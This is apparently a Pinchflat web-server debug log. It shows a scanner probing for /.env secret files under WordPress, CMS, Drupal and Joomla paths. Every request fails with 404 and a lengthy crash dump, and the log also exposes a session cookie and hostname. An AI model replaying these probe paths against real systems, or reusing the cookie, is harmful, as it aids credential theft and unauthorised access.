"x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 77, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" (truncated) 02:10:13.895 [info] GET /wp/.env 02:10:13.896 [debug] QUERY OK source="settings" db=0.2ms idle=322.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.896 [debug] QUERY OK source="settings" db=0.0ms idle=226.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.896 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:13.896 [error] #PID<0.3382.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 78) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /wp/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 78, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3382.0>, params: %{}, path_info: ["wp", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/wp/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6cxN5Zw-wKoAARNB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 78, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 78, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.t (truncated) 02:10:14.002 [info] GET /cms/.env 02:10:14.002 [debug] QUERY OK source="settings" db=0.1ms idle=233.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:14.003 [debug] QUERY OK source="settings" db=0.1ms idle=233.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:14.003 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:14.003 [error] #PID<0.3383.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 79) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /cms/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cms/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cms/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 79, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3383.0>, params: %{}, path_info: ["cms", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/cms/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6dKlX-nin4cAAROB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cms/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 79, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cms/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cms/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 79, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pin (truncated) 02:10:14.106 [info] GET /drupal/.env 02:10:14.106 [debug] QUERY OK source="settings" db=0.2ms idle=210.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:14.107 [debug] QUERY OK source="settings" db=0.0ms idle=210.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:14.107 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:14.107 [error] #PID<0.3384.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 80) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /drupal/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /drupal/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/drupal/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 80, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3384.0>, params: %{}, path_info: ["drupal", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/drupal/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6djZ8CN8jAgAARPB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/drupal/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 80, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /drupal/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/drupal/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 80, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: fal (truncated) 02:10:14.210 [info] GET /joomla/.env 02:10:14.211 [debug] QUERY OK source="settings" db=0.2ms idle=264.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:14.211 [debug] QUERY OK source="settings" db=0.1ms idle=208.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:14.211 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:14.211 [error] #PID<0.3385.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 81) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /joomla/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /joomla/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/joomla/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 81, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => 